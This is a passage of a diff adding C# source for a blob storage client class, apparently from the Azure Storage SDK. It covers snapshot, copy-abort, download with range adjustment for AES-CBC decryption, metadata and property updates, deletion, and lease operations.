+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task AbortCopyAsync(string copyId, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.AbortCopyImpl(this.attributes, copyId, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Creates a snapshot of the blob.
+        /// </summary>
+        /// <param name="metadata">A collection of name-value pairs defining the metadata of the snapshot.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request, or <c>null</c>. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="CloudBlob"/> object that is a blob snapshot.</returns>
+        [DoesServiceRequest]
+        public virtual CloudBlob Snapshot(IDictionary<string, string> metadata = null, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            this.attributes.AssertNoSnapshot();
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteSync(
+                this.SnapshotImpl(metadata, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to create a snapshot of the blob.
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginSnapshot(AsyncCallback callback, object state)
+        {
+            return this.BeginSnapshot(null /* metadata */, null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to create a snapshot of the blob.
+        /// </summary>
+        /// <param name="metadata">A collection of name-value pairs defining the metadata of the snapshot.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request, or <c>null</c>.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginSnapshot(IDictionary<string, string> metadata, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.SnapshotAsync(metadata, accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to create a snapshot of the blob.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        /// <returns>A <see cref="CloudBlob"/> object that is a blob snapshot.</returns>
+        public virtual CloudBlob EndSnapshot(IAsyncResult asyncResult)
+        {
+            return ((CancellableAsyncResultTaskWrapper<CloudBlob>)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to create a snapshot of the blob.
+        /// </summary>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="CloudBlob"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<CloudBlob> SnapshotAsync()
+        {
+            return this.SnapshotAsync(null /*metadata*/, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to create a snapshot of the blob.
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="CloudBlob"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<CloudBlob> SnapshotAsync(CancellationToken cancellationToken)
+        {
+            return this.SnapshotAsync(null /*metadata*/, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to create a snapshot of the blob.
+        /// </summary>
+        /// <param name="metadata">A collection of name-value pairs defining the metadata of the snapshot.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="CloudBlob"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<CloudBlob> SnapshotAsync(IDictionary<string, string> metadata, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.SnapshotAsync(metadata, accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to create a snapshot of the blob.
+        /// </summary>
+        /// <param name="metadata">A collection of name-value pairs defining the metadata of the snapshot.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="CloudBlob"/> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<CloudBlob> SnapshotAsync(IDictionary<string, string> metadata, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            this.attributes.AssertNoSnapshot();
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            return Executor.ExecuteAsync(
+                this.SnapshotImpl(metadata, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext,
+                cancellationToken);
+        }
+#endif
+
+        /// <summary>
+        /// Implements getting the stream without specifying a range.
+        /// </summary>
+        /// <param name="blobAttributes">The attributes.</param>
+        /// <param name="destStream">The destination stream.</param>
+        /// <param name="offset">The offset.</param>
+        /// <param name="length">The length.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> that gets the stream.
+        /// </returns>
+        private RESTCommand<NullType> GetBlobImpl(BlobAttributes blobAttributes, Stream destStream, long? offset, long? length, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            string lockedETag = null;
+            AccessCondition lockedAccessCondition = null;
+
+            bool isRangeGet = offset.HasValue;
+
+            // Adjust the range if the encryption policy is set and it is a range download. For now, we can do it this way.
+            // Once we have multiple versions/algorithms, we will not be able to do this adjustment deterministically without fetching 
+            // properties from the service. Since it is an extra call, we will add it once we support multiple versions.
+            int discardFirst = 0;
+            long? endOffset = null;
+            bool bufferIV = false;
+            long? userSpecifiedLength = length;
+
+            options.AssertPolicyIfRequired();
+
+            if (isRangeGet && options.EncryptionPolicy != null)
+            {
+#if WINDOWS_PHONE
+                // Windows phone does not allow setting padding mode to none. Uses PKCS7 by default. So we cannot download closed ranges that do not
+                // cover the last block of data. However, since we cannot know the length unless we do a fetch attributes, we will just throw 
+                // for now if length is specified. Open ranges like x - are still allowed.
+                if (length.HasValue)
+                {
+                    throw new InvalidOperationException(SR.RangeDownloadNotPermittedOnPhone);
+                }
+#endif
+                // Let's say the user requests a download with offset = 39 and length = 54
+
+                // First calculate the endOffset if length has value.
+                // endOffset starts at 92 (39 + 54 - 1), but then gets increased to 95 (one less than the next higher multiple of 16)
+                if (length.HasValue)
+                {
+                    endOffset = offset.Value + length.Value - 1;
+
+                    // AES-CBC works in 16 byte blocks. So if a user specifies a range whose start and end offsets are not multiples of 16,
+                    // update them so we can download entire AES blocks to decrypt.
+                    // Adjust the end offset to be a multiple of 16.
+                    if ((endOffset.Value + 1) % 16 != 0)
+                    {
+                        endOffset += (int)(16 - ((endOffset.Value + 1) % 16));
+                    }
+                }
+
+                // Adjust the end offset to be a multiple of 16.
+                // offset gets reduced down to the highest multiple of 16 lower then the current value (32) 
+                discardFirst = (int)(offset.Value % 16);
+                offset -= discardFirst;
+
+                // We need another 16 bytes for IV if offset is not 0. If the offset is 0, it is the first AES block
+                // and the IV is obtained from blob metadata.
+                // offset is reduced by another 16 (to a final value of 16)
+                if (offset > 15)
+                {
+                    offset -= 16;
+                    bufferIV = true;
+                }
+
+                // Adjust the length according to the new start and end offsets.
+                // length = 80 (a multiple of 16)
+                if (endOffset.HasValue)
+                {
+                    length = endOffset.Value - offset.Value + 1;
+                }
+            }
+
+            bool arePropertiesPopulated = false;
+            bool decryptStreamCreated = false;
+            ICryptoTransform transform = null;
+            string storedMD5 = null;
+
+            long startingOffset = offset.HasValue ? offset.Value : 0;
+            long? startingLength = length;
+            long? validateLength = null;
+
+            RESTCommand<NullType> getCmd = new RESTCommand<NullType>(this.ServiceClient.Credentials, blobAttributes.StorageUri);
+
+            options.ApplyToStorageCommand(getCmd);
+            getCmd.CommandLocationMode = CommandLocationMode.PrimaryOrSecondary;
+            getCmd.RetrieveResponseStream = true;
+            getCmd.DestinationStream = destStream;
+            getCmd.CalculateMd5ForResponseStream = !options.DisableContentMD5Validation.Value;
+            getCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.Get(uri, serverTimeout, blobAttributes.SnapshotTime, offset, length, options.UseTransactionalMD5.Value, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            getCmd.RecoveryAction = (cmd, ex, ctx) =>
+            {
+                if ((lockedAccessCondition == null) && !string.IsNullOrEmpty(lockedETag))
+                {
+                    lockedAccessCondition = AccessCondition.GenerateIfMatchCondition(lockedETag);
+                    if (accessCondition != null)
+                    {
+                        lockedAccessCondition.LeaseId = accessCondition.LeaseId;
+                    }
+                }
+
+                if (cmd.StreamCopyState != null)
+                {
+                    offset = startingOffset + cmd.StreamCopyState.Length;
+                    if (startingLength.HasValue)
+                    {
+                        length = startingLength.Value - cmd.StreamCopyState.Length;
+                    }
+                }
+
+                getCmd.BuildRequest = (command, uri, builder, cnt, serverTimeout, context) => BlobHttpRequestMessageFactory.Get(uri, serverTimeout, blobAttributes.SnapshotTime, offset, length, options.UseTransactionalMD5.Value && !arePropertiesPopulated, lockedAccessCondition ?? accessCondition, cnt, context, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            };
+
+            getCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(offset.HasValue ? HttpStatusCode.PartialContent : HttpStatusCode.OK, resp, NullType.Value, cmd, ex);
+
+                if (!arePropertiesPopulated)
+                {
+                    CloudBlob.UpdateAfterFetchAttributes(blobAttributes, resp);
+                    storedMD5 = HttpResponseParsers.GetContentMD5(resp);
+
+                    if (options.EncryptionPolicy != null)
+                    {
+                        cmd.DestinationStream = BlobEncryptionPolicy.WrapUserStreamWithDecryptStream(this, cmd.DestinationStream, options, blobAttributes, isRangeGet, out transform, endOffset, userSpecifiedLength, discardFirst, bufferIV);
+                        decryptStreamCreated = true;
+                    }
+
+                    if (!options.DisableContentMD5Validation.Value &&
+                        options.UseTransactionalMD5.Value &&
+                        string.IsNullOrEmpty(storedMD5))
+                    {
+                        throw new StorageException(
+                            cmd.CurrentResult,
+                            SR.MD5NotPresentError,
+                            null)
+                        {
+                            IsRetryable = false
+                        };
+                    }
+
+                    // If the download fails and Get Blob needs to resume the download, going to the
+                    // same storage location is important to prevent a possible ETag mismatch.
+                    getCmd.CommandLocationMode = cmd.CurrentResult.TargetLocation == StorageLocation.Primary ? CommandLocationMode.PrimaryOnly : CommandLocationMode.SecondaryOnly;
+                    lockedETag = blobAttributes.Properties.ETag;
+                    validateLength = resp.Content.Headers.ContentLength;
+
+                    arePropertiesPopulated = true;
+                }
+
+                return NullType.Value;
+            };
+
+            getCmd.PostProcessResponseAsync = (cmd, resp, ctx, ct) =>
+            {
+                HttpResponseParsers.ValidateResponseStreamMd5AndLength(validateLength, storedMD5, cmd);
+                return NullType.ValueTask;
+            };
+
+            getCmd.DisposeAction = (cmd) =>
+            {
+                // Crypto stream should be closed in order for it to flush the final block of data to the underlying stream and to clear internal buffers. 
+                // It is ok to do this here because we have ensured that we don't end up closing the user provided stream in the process of closing the 
+                // cryptostream by wrapping the user provided stream within the NonCloseableStream.
+                if (decryptStreamCreated)
+                {
+                    try
+                    {
+                        // This only throws a NotSupportedException if the current stream is not writable (which should never be true in our case).
+                        // But the try/catch is for safe exit if something unexpected happens and we get an exception 
+                        // when Close is invoked.
+                        if (cmd.DestinationStream != null)
+                        {
+                            cmd.DestinationStream.Close();
+                        }
+
+                        // Dispose the ICryptoTransform object created for decryption if required. For the range download case, BlobDecryptStream will
+                        // dispose the transform function. For full blob downloads, we will dispose it here.
+                        if (transform != null)
+                        {
+                            transform.Dispose();
+                        }
+                    }
+                    catch (Exception ex)
+                    {
+                        throw new StorageException(
+                            cmd.CurrentResult,
+                            SR.CryptoError,
+                            ex)
+                        {
+                            IsRetryable = false
+                        };
+                    }
+                }
+            };
+
+            return getCmd;
+        }
+
+        /// <summary>
+        /// Implements the FetchAttributes method. The attributes are updated immediately.
+        /// </summary>
+        /// <param name="blobAttributes">The attributes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> that fetches the attributes.
+        /// </returns>
+        private RESTCommand<NullType> FetchAttributesImpl(BlobAttributes blobAttributes, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            RESTCommand<NullType> getCmd = new RESTCommand<NullType>(this.ServiceClient.Credentials, blobAttributes.StorageUri);
+
+            options.ApplyToStorageCommand(getCmd);
+            getCmd.CommandLocationMode = CommandLocationMode.PrimaryOrSecondary;
+            getCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.GetProperties(uri, serverTimeout, blobAttributes.SnapshotTime, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            getCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.OK, resp, NullType.Value, cmd, ex);
+                CloudBlob.UpdateAfterFetchAttributes(blobAttributes, resp);
+                return NullType.Value;
+            };
+
+            return getCmd;
+        }
+
+        /// <summary>
+        /// Implementation for the Exists method.
+        /// </summary>
+        /// <param name="blobAttributes">The attributes.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="primaryOnly">If <c>true</c>, the command will be executed against the primary location.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> that checks existence.
+        /// </returns>
+        private RESTCommand<bool> ExistsImpl(BlobAttributes blobAttributes, BlobRequestOptions options, bool primaryOnly)
+        {
+            RESTCommand<bool> getCmd = new RESTCommand<bool>(this.ServiceClient.Credentials, blobAttributes.StorageUri);
+
+            options.ApplyToStorageCommand(getCmd);
+            getCmd.CommandLocationMode = primaryOnly ? CommandLocationMode.PrimaryOnly : CommandLocationMode.PrimaryOrSecondary;
+            getCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.GetProperties(uri, serverTimeout, blobAttributes.SnapshotTime, null /* accessCondition */, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            getCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                if (resp.StatusCode == HttpStatusCode.NotFound)
+                {
+                    return false;
+                }
+
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.OK, resp, true, cmd, ex);
+                CloudBlob.UpdateAfterFetchAttributes(blobAttributes, resp);
+                return true;
+            };
+
+            return getCmd;
+        }
+
+        /// <summary>
+        /// Implementation for the SetMetadata method.
+        /// </summary>
+        /// <param name="blobAttributes">The attributes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> that sets the metadata.
+        /// </returns>
+        private RESTCommand<NullType> SetMetadataImpl(BlobAttributes blobAttributes, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            RESTCommand<NullType> putCmd = new RESTCommand<NullType>(this.ServiceClient.Credentials, blobAttributes.StorageUri);
+
+            options.ApplyToStorageCommand(putCmd);
+            putCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) =>
+            {
+                StorageRequestMessage msg = BlobHttpRequestMessageFactory.SetMetadata(uri, serverTimeout, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+                BlobHttpRequestMessageFactory.AddMetadata(msg, blobAttributes.Metadata);
+                return msg;
+            };
+            putCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.OK, resp, NullType.Value, cmd, ex);
+                CloudBlob.UpdateETagLMTLengthAndSequenceNumber(blobAttributes, resp, false);
+                cmd.CurrentResult.IsRequestServerEncrypted = HttpResponseParsers.ParseServerRequestEncrypted(resp);
+                return NullType.Value;
+            };
+
+            return putCmd;
+        }
+
+        /// <summary>
+        /// Implementation for the SetProperties method.
+        /// </summary>
+        /// <param name="blobAttributes">The attributes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> that sets the properties.
+        /// </returns>
+        private RESTCommand<NullType> SetPropertiesImpl(BlobAttributes blobAttributes, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            RESTCommand<NullType> putCmd = new RESTCommand<NullType>(this.ServiceClient.Credentials, blobAttributes.StorageUri);
+
+            options.ApplyToStorageCommand(putCmd);
+            putCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) =>
+            {
+                StorageRequestMessage msg = BlobHttpRequestMessageFactory.SetProperties(uri, serverTimeout, blobAttributes.Properties, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+                BlobHttpRequestMessageFactory.AddMetadata(msg, blobAttributes.Metadata);
+                return msg;
+            };
+            putCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.OK, resp, NullType.Value, cmd, ex);
+                CloudBlob.UpdateETagLMTLengthAndSequenceNumber(blobAttributes, resp, false);
+                return NullType.Value;
+            };
+
+            return putCmd;
+        }
+
+        /// <summary>
+        /// Implements the DeleteBlob method.
+        /// </summary>
+        /// <param name="attributes">The attributes.</param>
+        /// <param name="deleteSnapshotsOption">A <see cref="DeleteSnapshotsOption"/> object indicating whether to only delete the blob, to delete the blob and all snapshots, or to only delete the snapshots.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> that deletes the blob.
+        /// </returns>
+        private RESTCommand<NullType> DeleteBlobImpl(BlobAttributes attributes, DeleteSnapshotsOption deleteSnapshotsOption, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            RESTCommand<NullType> deleteCmd = new RESTCommand<NullType>(this.ServiceClient.Credentials, attributes.StorageUri);
+
+            options.ApplyToStorageCommand(deleteCmd);
+            deleteCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.Delete(uri, serverTimeout, attributes.SnapshotTime, deleteSnapshotsOption, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            deleteCmd.PreProcessResponse = (cmd, resp, ex, ctx) => HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.Accepted, resp, NullType.Value, cmd, ex);
+
+            return deleteCmd;
+        }
+
+        /// <summary>
+        /// Generates a <see cref="RESTCommand{T}"/> for acquiring a lease.
+        /// </summary>
+        /// <param name="attributes">The attributes.</param>
+        /// <param name="leaseTime">A <see cref="System.TimeSpan"/> representing the span of time for which to acquire the lease,
+        /// which will be rounded down to seconds. If null, an infinite lease will be acquired. If not null, this must be
+        /// 15 to 60 seconds.</param>
+        /// <param name="proposedLeaseId">A string representing the proposed lease ID for the new lease, or <c>null</c> if no lease ID is proposed.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> implementing the acquire lease operation.
+        /// </returns>
+        private RESTCommand<string> AcquireLeaseImpl(BlobAttributes attributes, TimeSpan? leaseTime, string proposedLeaseId, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            int leaseDuration = -1;
+            if (leaseTime.HasValue)
+            {
+                CommonUtility.AssertInBounds("leaseTime", leaseTime.Value, TimeSpan.FromSeconds(Constants.MinimumLeaseDuration), TimeSpan.FromSeconds(Constants.MaximumLeaseDuration));
+                leaseDuration = (int)leaseTime.Value.TotalSeconds;
+            }
+
+            RESTCommand<string> putCmd = new RESTCommand<string>(this.ServiceClient.Credentials, attributes.StorageUri);
+
+            options.ApplyToStorageCommand(putCmd);
+            putCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.Lease(uri, serverTimeout, LeaseAction.Acquire, proposedLeaseId, leaseDuration, null /* leaseBreakPeriod */, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            putCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.Created, resp, null /* retVal */, cmd, ex);
+                CloudBlob.UpdateETagLMTLengthAndSequenceNumber(attributes, resp, false);
+                return BlobHttpResponseParsers.GetLeaseId(resp);
+            };
+
+            return putCmd;
+        }
+
+        /// <summary>
+        /// Generates a <see cref="RESTCommand{T}"/> for renewing a lease.
+        /// </summary>
+        /// <param name="attributes">The attributes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> implementing the renew lease operation.
+        /// </returns>
+        /// <exception cref="System.ArgumentException">accessCondition</exception>
+        private RESTCommand<NullType> RenewLeaseImpl(BlobAttributes attributes, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            CommonUtility.AssertNotNull("accessCondition", accessCondition);
+            if (accessCondition.LeaseId == null)
+            {
+                throw new ArgumentException(SR.MissingLeaseIDRenewing, "accessCondition");
+            }
+
+            RESTCommand<NullType> putCmd = new RESTCommand<NullType>(this.ServiceClient.Credentials, attributes.StorageUri);
+
+            options.ApplyToStorageCommand(putCmd);
+            putCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.Lease(uri, serverTimeout, LeaseAction.Renew, null /* proposedLeaseId */, null /* leaseDuration */, null /* leaseBreakPeriod */, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            putCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.OK, resp, NullType.Value, cmd, ex);
+                CloudBlob.UpdateETagLMTLengthAndSequenceNumber(attributes, resp, false);
+                return NullType.Value;
+            };
+
+            return putCmd;
+        }
+
+        /// <summary>
+        /// Generates a <see cref="RESTCommand{T}"/> for changing a lease ID.
+        /// </summary>
+        /// <param name="attributes">The attributes.</param>
+        /// <param name="proposedLeaseId">The proposed new lease ID.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> implementing the change lease ID operation.
+        /// </returns>
+        /// <exception cref="System.ArgumentException">accessCondition</exception>
+        private RESTCommand<string> ChangeLeaseImpl(BlobAttributes attributes, string proposedLeaseId, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            CommonUtility.AssertNotNull("accessCondition", accessCondition);
+            CommonUtility.AssertNotNull("proposedLeaseId", proposedLeaseId);
+            if (accessCondition.LeaseId == null)
+            {
+                throw new ArgumentException(SR.MissingLeaseIDChanging, "accessCondition");
+            }
+
+            RESTCommand<string> putCmd = new RESTCommand<string>(this.ServiceClient.Credentials, attributes.StorageUri);
+
+            options.ApplyToStorageCommand(putCmd);
+            putCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.Lease(uri, serverTimeout, LeaseAction.Change, proposedLeaseId, null /* leaseDuration */, null /* leaseBreakPeriod */, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            putCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.OK, resp, null /* retVal */, cmd, ex);
+                CloudBlob.UpdateETagLMTLengthAndSequenceNumber(attributes, resp, false);
+                return BlobHttpResponseParsers.GetLeaseId(resp);
+            };
+
+            return putCmd;
+        }
+
+        /// <summary>
+        /// Generates a <see cref="RESTCommand{T}"/> for releasing a lease.
+        /// </summary>
+        /// <param name="attributes">The attributes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <returns>
+        /// A <see cref="RESTCommand{T}"/> implementing the release lease operation.
+        /// </returns>
+        /// <exception cref="System.ArgumentException">accessCondition</exception>
+        private RESTCommand<NullType> ReleaseLeaseImpl(BlobAttributes attributes, AccessCondition accessCondition, BlobRequestOptions options)
+        {
+            CommonUtility.AssertNotNull("accessCondition", accessCondition);
+            if (accessCondition.LeaseId == null)
+            {
+                throw new ArgumentException(SR.MissingLeaseIDReleasing, "accessCondition");
+            }
+
+            RESTCommand<NullType> putCmd = new RESTCommand<NullType>(this.ServiceClient.Credentials, attributes.StorageUri);
+
+            options.ApplyToStorageCommand(putCmd);
+            putCmd.BuildRequest = (cmd, uri, builder, cnt, serverTimeout, ctx) => BlobHttpRequestMessageFactory.Lease(uri, serverTimeout, LeaseAction.Release, null /* proposedLeaseId */, null /* leaseDuration */, null /* leaseBreakPeriod */, accessCondition, cnt, ctx, this.ServiceClient.GetCanonicalizer(), this.ServiceClient.Credentials);
+            putCmd.PreProcessResponse = (cmd, resp, ex, ctx) =>
+            {
+                HttpResponseParsers.ProcessExpectedStatusCodeNoException(HttpStatusCode.OK, resp, NullType.Value, cmd, ex);
+                CloudBlob.UpdateETagLMTLengthAndSequenceNumber(attributes, resp, false);
+                return NullType.Value;
+            };
+
+            return putCmd;
+        }
+
+        /// <summary>
+        /// Generates a <see cref="RESTCommand{T}"/> for breaking a lease.
+        /// </summary>
+        /// <param name="attributes">The attributes.</param>
